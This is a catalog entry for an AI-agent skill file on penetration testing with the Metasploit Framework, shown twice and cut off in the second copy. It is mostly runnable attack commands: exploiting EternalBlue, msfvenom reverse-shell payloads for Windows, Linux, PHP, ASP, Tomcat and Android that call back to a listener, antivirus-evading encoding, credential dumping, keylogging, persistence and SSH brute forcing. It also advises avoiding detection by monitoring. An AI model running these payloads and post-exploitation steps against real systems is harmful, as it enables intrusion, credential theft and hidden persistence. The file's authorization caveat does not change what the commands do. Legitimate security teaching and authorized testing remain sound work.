[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M79FGC0YVZYQ7P4PQA7RDTZF":3,"skill-same:01M79FGC0YVZYQ7P4PQA7RDTZF":48},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":27,"commitSha":28,"skillDirectory":29,"forksCount":14,"repositoryHtmlUrl":30,"repositoryHomepageUrl":6,"ownerHtmlUrl":31,"ownerBlogUrl":6,"ownerDescription":32,"updatedAt":33,"install":34,"resources":47},"01M79FGC0YVZYQ7P4PQA7RDTZF","metasploit-framework",null,"This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.","sharepointoscar\u002Fagent-workflow-skills","sharepointoscar","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F1544014?v=4","01M79DYNNSWKW6C81A3C9QF0FQ","Oscar Medina","01M79DYNPDXTKQ5RFX4071RBM8",0,"MIT","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-security\u002Fskills\u002Fmetasploit-framework\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: metasploit-framework\ndescription: This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Metasploit Framework\n\n## Purpose\n\nLeverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Metasploit comes pre-installed on Kali Linux\n# For other systems:\ncurl https:\u002F\u002Fraw.githubusercontent.com\u002Frapid7\u002Fmetasploit-omnibus\u002Fmaster\u002Fconfig\u002Ftemplates\u002Fmetasploit-framework-wrappers\u002Fmsfupdate.erb > msfinstall\nchmod 755 msfinstall\n.\u002Fmsfinstall\n\n# Start PostgreSQL for database support\nsudo systemctl start postgresql\nsudo msfdb init\n```\n\n### Required Knowledge\n- Network and system fundamentals\n- Understanding of vulnerabilities and exploits\n- Basic programming concepts\n- Target enumeration techniques\n\n### Required Access\n- Written authorization for testing\n- Network access to target systems\n- Understanding of scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Exploitation Evidence** - Screenshots and logs of successful compromises\n2. **Session Logs** - Command history and extracted data\n3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references\n4. **Post-Exploitation Artifacts** - Credentials, files, and system information\n\n## Core Workflow\n\n### Phase 1: MSFConsole Basics\n\nLaunch and navigate the Metasploit console:\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Quiet mode (skip banner)\nmsfconsole -q\n\n# Basic navigation commands\nmsf6 > help                    # Show all commands\nmsf6 > search [term]           # Search modules\nmsf6 > use [module]            # Select module\nmsf6 > info                    # Show module details\nmsf6 > show options            # Display required options\nmsf6 > set [OPTION] [value]    # Configure option\nmsf6 > run \u002F exploit           # Execute module\nmsf6 > back                    # Return to main console\nmsf6 > exit                    # Exit msfconsole\n```\n\n### Phase 2: Module Types\n\nUnderstand the different module categories:\n\n```bash\n# 1. Exploit Modules - Target specific vulnerabilities\nmsf6 > show exploits\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# 2. Payload Modules - Code executed after exploitation\nmsf6 > show payloads\nmsf6 > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# 3. Auxiliary Modules - Scanning, fuzzing, enumeration\nmsf6 > show auxiliary\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\n\n# 4. Post-Exploitation Modules - Actions after compromise\nmsf6 > show post\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# 5. Encoders - Obfuscate payloads\nmsf6 > show encoders\nmsf6 > set ENCODER x86\u002Fshikata_ga_nai\n\n# 6. Nops - No-operation padding for buffer overflows\nmsf6 > show nops\n\n# 7. Evasion - Bypass security controls\nmsf6 > show evasion\n```\n\n### Phase 3: Searching for Modules\n\nFind appropriate modules for targets:\n\n```bash\n# Search by name\nmsf6 > search eternalblue\n\n# Search by CVE\nmsf6 > search cve:2017-0144\n\n# Search by platform\nmsf6 > search platform:windows type:exploit\n\n# Search by type and keyword\nmsf6 > search type:auxiliary smb\n\n# Filter by rank (excellent, great, good, normal, average, low, manual)\nmsf6 > search rank:excellent\n\n# Combined search\nmsf6 > search type:exploit platform:linux apache\n\n# View search results columns:\n# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description\n```\n\n### Phase 4: Configuring Exploits\n\nSet up an exploit for execution:\n\n```bash\n# Select exploit module\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# View required options\nmsf6 exploit(windows\u002Fsmb\u002Fms17_010_eternalblue) > show options\n\n# Set target host\nmsf6 exploit(...) > set RHOSTS 192.168.1.100\n\n# Set target port (if different from default)\nmsf6 exploit(...) > set RPORT 445\n\n# View compatible payloads\nmsf6 exploit(...) > show payloads\n\n# Set payload\nmsf6 exploit(...) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# Set local host for reverse connection\nmsf6 exploit(...) > set LHOST 192.168.1.50\nmsf6 exploit(...) > set LPORT 4444\n\n# View all options again to verify\nmsf6 exploit(...) > show options\n\n# Check if target is vulnerable (if supported)\nmsf6 exploit(...) > check\n\n# Execute exploit\nmsf6 exploit(...) > exploit\n# or\nmsf6 exploit(...) > run\n```\n\n### Phase 5: Payload Types\n\nSelect appropriate payload for the situation:\n\n```bash\n# Singles - Self-contained, no staging\nwindows\u002Fshell_reverse_tcp\nlinux\u002Fx86\u002Fshell_bind_tcp\n\n# Stagers - Small payload that downloads larger stage\nwindows\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fmeterpreter\u002Fbind_tcp\n\n# Stages - Downloaded by stager, provides full functionality\n# Meterpreter, VNC, shell\n\n# Payload naming convention:\n# [platform]\u002F[architecture]\u002F[payload_type]\u002F[connection_type]\n# Examples:\nwindows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fshell\u002Fbind_tcp\nphp\u002Fmeterpreter\u002Freverse_tcp\njava\u002Fmeterpreter\u002Freverse_https\nandroid\u002Fmeterpreter\u002Freverse_tcp\n```\n\n### Phase 6: Meterpreter Session\n\nWork with Meterpreter post-exploitation:\n\n```bash\n# After successful exploitation, you get Meterpreter prompt\nmeterpreter >\n\n# System Information\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\n\n# File System Operations\nmeterpreter > pwd\nmeterpreter > ls\nmeterpreter > cd C:\\\\Users\nmeterpreter > download file.txt \u002Ftmp\u002F\nmeterpreter > upload \u002Ftmp\u002Ftool.exe C:\\\\\n\n# Process Management\nmeterpreter > ps\nmeterpreter > migrate [PID]\nmeterpreter > kill [PID]\n\n# Networking\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > route\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1\n\n# Privilege Escalation\nmeterpreter > getsystem\nmeterpreter > getprivs\n\n# Credential Harvesting\nmeterpreter > hashdump\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Screenshots and Keylogging\nmeterpreter > screenshot\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\nmeterpreter > keyscan_stop\n\n# Shell Access\nmeterpreter > shell\nC:\\Windows\\system32> whoami\nC:\\Windows\\system32> exit\nmeterpreter >\n\n# Background Session\nmeterpreter > background\nmsf6 exploit(...) > sessions -l\nmsf6 exploit(...) > sessions -i 1\n```\n\n### Phase 7: Auxiliary Modules\n\nUse auxiliary modules for reconnaissance:\n\n```bash\n# SMB Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\nmsf6 auxiliary(scanner\u002Fsmb\u002Fsmb_version) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# Port Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set PORTS 1-1000\nmsf6 auxiliary(...) > run\n\n# SSH Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# FTP Anonymous Login\nmsf6 > use auxiliary\u002Fscanner\u002Fftp\u002Fanonymous\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# HTTP Directory Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_scanner\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# Brute Force Modules\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nmsf6 auxiliary(...) > set PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nmsf6 auxiliary(...) > run\n```\n\n### Phase 8: Post-Exploitation Modules\n\nRun post modules on active sessions:\n\n```bash\n# List sessions\nmsf6 > sessions -l\n\n# Run post module on specific session\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\nmsf6 post(windows\u002Fgather\u002Fhashdump) > set SESSION 1\nmsf6 post(...) > run\n\n# Or run directly from Meterpreter\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# Common Post Modules\n# Credential Gathering\npost\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\npost\u002Fwindows\u002Fgather\u002Flsa_secrets\npost\u002Fwindows\u002Fgather\u002Fcachedump\npost\u002Fmulti\u002Fgather\u002Fssh_creds\n\n# System Enumeration\npost\u002Fwindows\u002Fgather\u002Fenum_applications\npost\u002Fwindows\u002Fgather\u002Fenum_logged_on_users\npost\u002Fwindows\u002Fgather\u002Fenum_shares\npost\u002Flinux\u002Fgather\u002Fenum_configs\n\n# Privilege Escalation\npost\u002Fwindows\u002Fescalate\u002Fgetsystem\npost\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Persistence\npost\u002Fwindows\u002Fmanage\u002Fpersistence_exe\npost\u002Flinux\u002Fmanage\u002Fsshkey_persistence\n\n# Pivoting\npost\u002Fmulti\u002Fmanage\u002Fautoroute\n```\n\n### Phase 9: Payload Generation with msfvenom\n\nCreate standalone payloads:\n\n```bash\n# Basic Windows reverse shell\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx86\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php\n\n# Python reverse shell\nmsfvenom -p python\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py\n\n# PowerShell payload\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1\n\n# ASP web shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp\n\n# WAR file (Tomcat)\nmsfvenom -p java\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war\n\n# Android APK\nmsfvenom -p android\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk\n\n# Encoded payload (evade AV)\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86\u002Fshikata_ga_nai -i 5 -f exe -o encoded.exe\n\n# List available formats\nmsfvenom --list formats\n\n# List available encoders\nmsfvenom --list encoders\n```\n\n### Phase 10: Setting Up Handlers\n\nConfigure listener for incoming connections:\n\n```bash\n# Manual handler setup\nmsf6 > use exploit\u002Fmulti\u002Fhandler\nmsf6 exploit(multi\u002Fhandler) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(multi\u002Fhandler) > set LHOST 192.168.1.50\nmsf6 exploit(multi\u002Fhandler) > set LPORT 4444\nmsf6 exploit(multi\u002Fhandler) > exploit -j\n\n# The -j flag runs as background job\nmsf6 > jobs -l\n\n# When payload executes on target, session opens\n[*] Meterpreter session 1 opened\n\n# Interact with session\nmsf6 > sessions -i 1\n```\n\n## Quick Reference\n\n### Essential MSFConsole Commands\n\n| Command | Description |\n|---------|-------------|\n| `search [term]` | Search for modules |\n| `use [module]` | Select a module |\n| `info` | Display module information |\n| `show options` | Show configurable options |\n| `set [OPT] [val]` | Set option value |\n| `setg [OPT] [val]` | Set global option |\n| `run` \u002F `exploit` | Execute module |\n| `check` | Verify target vulnerability |\n| `back` | Deselect module |\n| `sessions -l` | List active sessions |\n| `sessions -i [N]` | Interact with session |\n| `jobs -l` | List background jobs |\n| `db_nmap` | Run nmap with database |\n\n### Meterpreter Essential Commands\n\n| Command | Description |\n|---------|-------------|\n| `sysinfo` | System information |\n| `getuid` | Current user |\n| `getsystem` | Attempt privilege escalation |\n| `hashdump` | Dump password hashes |\n| `shell` | Drop to system shell |\n| `upload\u002Fdownload` | File transfer |\n| `screenshot` | Capture screen |\n| `keyscan_start` | Start keylogger |\n| `migrate [PID]` | Move to another process |\n| `background` | Background session |\n| `portfwd` | Port forwarding |\n\n### Common Exploit Modules\n\n```bash\n# Windows\nexploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nexploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi\nexploit\u002Fwindows\u002Fhttp\u002Fiis_webdav_upload_asp\nexploit\u002Fwindows\u002Flocal\u002Fbypassuac\n\n# Linux\nexploit\u002Flinux\u002Fssh\u002Fsshexec\nexploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc\nexploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec\n\n# Web Applications\nexploit\u002Fmulti\u002Fhttp\u002Ftomcat_mgr_upload\nexploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nexploit\u002Fmulti\u002Fhttp\u002Fjenkins_script_console\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only use on systems you own or have written authorization to test\n- Document all testing activities\n- Follow rules of engagement\n- Report all findings to appropriate parties\n\n### Technical Limitations\n- Modern AV\u002FEDR may detect Metasploit payloads\n- Some exploits require specific target configurations\n- Firewall rules may block reverse connections\n- Not all exploits work on all target versions\n\n### Operational Security\n- Use encrypted channels (reverse_https) when possible\n- Clean up artifacts after testing\n- Avoid detection by monitoring systems\n- Limit post-exploitation to agreed scope\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |\n| Exploit fails\u002Fno session | Run `check`; verify payload architecture; check firewall; try different payloads |\n| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |\n| Payload detected by AV | Use encoding `-e x86\u002Fshikata_ga_nai -i 10`; use evasion modules; custom templates |\n","# Metasploit Framework\n\n## Purpose\n\nLeverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Metasploit comes pre-installed on Kali Linux\n# For other systems:\ncurl https:\u002F\u002Fraw.githubusercontent.com\u002Frapid7\u002Fmetasploit-omnibus\u002Fmaster\u002Fconfig\u002Ftemplates\u002Fmetasploit-framework-wrappers\u002Fmsfupdate.erb > msfinstall\nchmod 755 msfinstall\n.\u002Fmsfinstall\n\n# Start PostgreSQL for database support\nsudo systemctl start postgresql\nsudo msfdb init\n```\n\n### Required Knowledge\n- Network and system fundamentals\n- Understanding of vulnerabilities and exploits\n- Basic programming concepts\n- Target enumeration techniques\n\n### Required Access\n- Written authorization for testing\n- Network access to target systems\n- Understanding of scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Exploitation Evidence** - Screenshots and logs of successful compromises\n2. **Session Logs** - Command history and extracted data\n3. **Vulnerability Mapping** - Exploited vulnerabilities with CVE references\n4. **Post-Exploitation Artifacts** - Credentials, files, and system information\n\n## Core Workflow\n\n### Phase 1: MSFConsole Basics\n\nLaunch and navigate the Metasploit console:\n\n```bash\n# Start msfconsole\nmsfconsole\n\n# Quiet mode (skip banner)\nmsfconsole -q\n\n# Basic navigation commands\nmsf6 > help                    # Show all commands\nmsf6 > search [term]           # Search modules\nmsf6 > use [module]            # Select module\nmsf6 > info                    # Show module details\nmsf6 > show options            # Display required options\nmsf6 > set [OPTION] [value]    # Configure option\nmsf6 > run \u002F exploit           # Execute module\nmsf6 > back                    # Return to main console\nmsf6 > exit                    # Exit msfconsole\n```\n\n### Phase 2: Module Types\n\nUnderstand the different module categories:\n\n```bash\n# 1. Exploit Modules - Target specific vulnerabilities\nmsf6 > show exploits\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# 2. Payload Modules - Code executed after exploitation\nmsf6 > show payloads\nmsf6 > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# 3. Auxiliary Modules - Scanning, fuzzing, enumeration\nmsf6 > show auxiliary\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\n\n# 4. Post-Exploitation Modules - Actions after compromise\nmsf6 > show post\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# 5. Encoders - Obfuscate payloads\nmsf6 > show encoders\nmsf6 > set ENCODER x86\u002Fshikata_ga_nai\n\n# 6. Nops - No-operation padding for buffer overflows\nmsf6 > show nops\n\n# 7. Evasion - Bypass security controls\nmsf6 > show evasion\n```\n\n### Phase 3: Searching for Modules\n\nFind appropriate modules for targets:\n\n```bash\n# Search by name\nmsf6 > search eternalblue\n\n# Search by CVE\nmsf6 > search cve:2017-0144\n\n# Search by platform\nmsf6 > search platform:windows type:exploit\n\n# Search by type and keyword\nmsf6 > search type:auxiliary smb\n\n# Filter by rank (excellent, great, good, normal, average, low, manual)\nmsf6 > search rank:excellent\n\n# Combined search\nmsf6 > search type:exploit platform:linux apache\n\n# View search results columns:\n# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description\n```\n\n### Phase 4: Configuring Exploits\n\nSet up an exploit for execution:\n\n```bash\n# Select exploit module\nmsf6 > use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\n\n# View required options\nmsf6 exploit(windows\u002Fsmb\u002Fms17_010_eternalblue) > show options\n\n# Set target host\nmsf6 exploit(...) > set RHOSTS 192.168.1.100\n\n# Set target port (if different from default)\nmsf6 exploit(...) > set RPORT 445\n\n# View compatible payloads\nmsf6 exploit(...) > show payloads\n\n# Set payload\nmsf6 exploit(...) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\n\n# Set local host for reverse connection\nmsf6 exploit(...) > set LHOST 192.168.1.50\nmsf6 exploit(...) > set LPORT 4444\n\n# View all options again to verify\nmsf6 exploit(...) > show options\n\n# Check if target is vulnerable (if supported)\nmsf6 exploit(...) > check\n\n# Execute exploit\nmsf6 exploit(...) > exploit\n# or\nmsf6 exploit(...) > run\n```\n\n### Phase 5: Payload Types\n\nSelect appropriate payload for the situation:\n\n```bash\n# Singles - Self-contained, no staging\nwindows\u002Fshell_reverse_tcp\nlinux\u002Fx86\u002Fshell_bind_tcp\n\n# Stagers - Small payload that downloads larger stage\nwindows\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fmeterpreter\u002Fbind_tcp\n\n# Stages - Downloaded by stager, provides full functionality\n# Meterpreter, VNC, shell\n\n# Payload naming convention:\n# [platform]\u002F[architecture]\u002F[payload_type]\u002F[connection_type]\n# Examples:\nwindows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nlinux\u002Fx86\u002Fshell\u002Fbind_tcp\nphp\u002Fmeterpreter\u002Freverse_tcp\njava\u002Fmeterpreter\u002Freverse_https\nandroid\u002Fmeterpreter\u002Freverse_tcp\n```\n\n### Phase 6: Meterpreter Session\n\nWork with Meterpreter post-exploitation:\n\n```bash\n# After successful exploitation, you get Meterpreter prompt\nmeterpreter >\n\n# System Information\nmeterpreter > sysinfo\nmeterpreter > getuid\nmeterpreter > getpid\n\n# File System Operations\nmeterpreter > pwd\nmeterpreter > ls\nmeterpreter > cd C:\\\\Users\nmeterpreter > download file.txt \u002Ftmp\u002F\nmeterpreter > upload \u002Ftmp\u002Ftool.exe C:\\\\\n\n# Process Management\nmeterpreter > ps\nmeterpreter > migrate [PID]\nmeterpreter > kill [PID]\n\n# Networking\nmeterpreter > ipconfig\nmeterpreter > netstat\nmeterpreter > route\nmeterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1\n\n# Privilege Escalation\nmeterpreter > getsystem\nmeterpreter > getprivs\n\n# Credential Harvesting\nmeterpreter > hashdump\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Screenshots and Keylogging\nmeterpreter > screenshot\nmeterpreter > keyscan_start\nmeterpreter > keyscan_dump\nmeterpreter > keyscan_stop\n\n# Shell Access\nmeterpreter > shell\nC:\\Windows\\system32> whoami\nC:\\Windows\\system32> exit\nmeterpreter >\n\n# Background Session\nmeterpreter > background\nmsf6 exploit(...) > sessions -l\nmsf6 exploit(...) > sessions -i 1\n```\n\n### Phase 7: Auxiliary Modules\n\nUse auxiliary modules for reconnaissance:\n\n```bash\n# SMB Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_version\nmsf6 auxiliary(scanner\u002Fsmb\u002Fsmb_version) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# Port Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fportscan\u002Ftcp\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set PORTS 1-1000\nmsf6 auxiliary(...) > run\n\n# SSH Version Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_version\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.0\u002F24\nmsf6 auxiliary(...) > run\n\n# FTP Anonymous Login\nmsf6 > use auxiliary\u002Fscanner\u002Fftp\u002Fanonymous\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# HTTP Directory Scanner\nmsf6 > use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_scanner\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > run\n\n# Brute Force Modules\nmsf6 > use auxiliary\u002Fscanner\u002Fssh\u002Fssh_login\nmsf6 auxiliary(...) > set RHOSTS 192.168.1.100\nmsf6 auxiliary(...) > set USER_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Fusers.txt\nmsf6 auxiliary(...) > set PASS_FILE \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\nmsf6 auxiliary(...) > run\n```\n\n### Phase 8: Post-Exploitation Modules\n\nRun post modules on active sessions:\n\n```bash\n# List sessions\nmsf6 > sessions -l\n\n# Run post module on specific session\nmsf6 > use post\u002Fwindows\u002Fgather\u002Fhashdump\nmsf6 post(windows\u002Fgather\u002Fhashdump) > set SESSION 1\nmsf6 post(...) > run\n\n# Or run directly from Meterpreter\nmeterpreter > run post\u002Fwindows\u002Fgather\u002Fhashdump\n\n# Common Post Modules\n# Credential Gathering\npost\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\npost\u002Fwindows\u002Fgather\u002Flsa_secrets\npost\u002Fwindows\u002Fgather\u002Fcachedump\npost\u002Fmulti\u002Fgather\u002Fssh_creds\n\n# System Enumeration\npost\u002Fwindows\u002Fgather\u002Fenum_applications\npost\u002Fwindows\u002Fgather\u002Fenum_logged_on_users\npost\u002Fwindows\u002Fgather\u002Fenum_shares\npost\u002Flinux\u002Fgather\u002Fenum_configs\n\n# Privilege Escalation\npost\u002Fwindows\u002Fescalate\u002Fgetsystem\npost\u002Fmulti\u002Frecon\u002Flocal_exploit_suggester\n\n# Persistence\npost\u002Fwindows\u002Fmanage\u002Fpersistence_exe\npost\u002Flinux\u002Fmanage\u002Fsshkey_persistence\n\n# Pivoting\npost\u002Fmulti\u002Fmanage\u002Fautoroute\n```\n\n### Phase 9: Payload Generation with msfvenom\n\nCreate standalone payloads:\n\n```bash\n# Basic Windows reverse shell\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe\n\n# Linux reverse shell\nmsfvenom -p linux\u002Fx86\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf\n\n# PHP reverse shell\nmsfvenom -p php\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php\n\n# Python reverse shell\nmsfvenom -p python\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py\n\n# PowerShell payload\nmsfvenom -p windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1\n\n# ASP web shell\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp\n\n# WAR file (Tomcat)\nmsfvenom -p java\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war\n\n# Android APK\nmsfvenom -p android\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk\n\n# Encoded payload (evade AV)\nmsfvenom -p windows\u002Fmeterpreter\u002Freverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86\u002Fshikata_ga_nai -i 5 -f exe -o encoded.exe\n\n# List available formats\nmsfvenom --list formats\n\n# List available encoders\nmsfvenom --list encoders\n```\n\n### Phase 10: Setting Up Handlers\n\nConfigure listener for incoming connections:\n\n```bash\n# Manual handler setup\nmsf6 > use exploit\u002Fmulti\u002Fhandler\nmsf6 exploit(multi\u002Fhandler) > set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6 exploit(multi\u002Fhandler) > set LHOST 192.168.1.50\nmsf6 exploit(multi\u002Fhandler) > set LPORT 4444\nmsf6 exploit(multi\u002Fhandler) > exploit -j\n\n# The -j flag runs as background job\nmsf6 > jobs -l\n\n# When payload executes on target, session opens\n[*] Meterpreter session 1 opened\n\n# Interact with session\nmsf6 > sessions -i 1\n```\n\n## Quick Reference\n\n### Essential MSFConsole Commands\n\n| Command | Description |\n|---------|-------------|\n| `search [term]` | Search for modules |\n| `use [module]` | Select a module |\n| `info` | Display module information |\n| `show options` | Show configurable options |\n| `set [OPT] [val]` | Set option value |\n| `setg [OPT] [val]` | Set global option |\n| `run` \u002F `exploit` | Execute module |\n| `check` | Verify target vulnerability |\n| `back` | Deselect module |\n| `sessions -l` | List active sessions |\n| `sessions -i [N]` | Interact with session |\n| `jobs -l` | List background jobs |\n| `db_nmap` | Run nmap with database |\n\n### Meterpreter Essential Commands\n\n| Command | Description |\n|---------|-------------|\n| `sysinfo` | System information |\n| `getuid` | Current user |\n| `getsystem` | Attempt privilege escalation |\n| `hashdump` | Dump password hashes |\n| `shell` | Drop to system shell |\n| `upload\u002Fdownload` | File transfer |\n| `screenshot` | Capture screen |\n| `keyscan_start` | Start keylogger |\n| `migrate [PID]` | Move to another process |\n| `background` | Background session |\n| `portfwd` | Port forwarding |\n\n### Common Exploit Modules\n\n```bash\n# Windows\nexploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nexploit\u002Fwindows\u002Fsmb\u002Fms08_067_netapi\nexploit\u002Fwindows\u002Fhttp\u002Fiis_webdav_upload_asp\nexploit\u002Fwindows\u002Flocal\u002Fbypassuac\n\n# Linux\nexploit\u002Flinux\u002Fssh\u002Fsshexec\nexploit\u002Flinux\u002Flocal\u002Foverlayfs_priv_esc\nexploit\u002Fmulti\u002Fhttp\u002Fapache_mod_cgi_bash_env_exec\n\n# Web 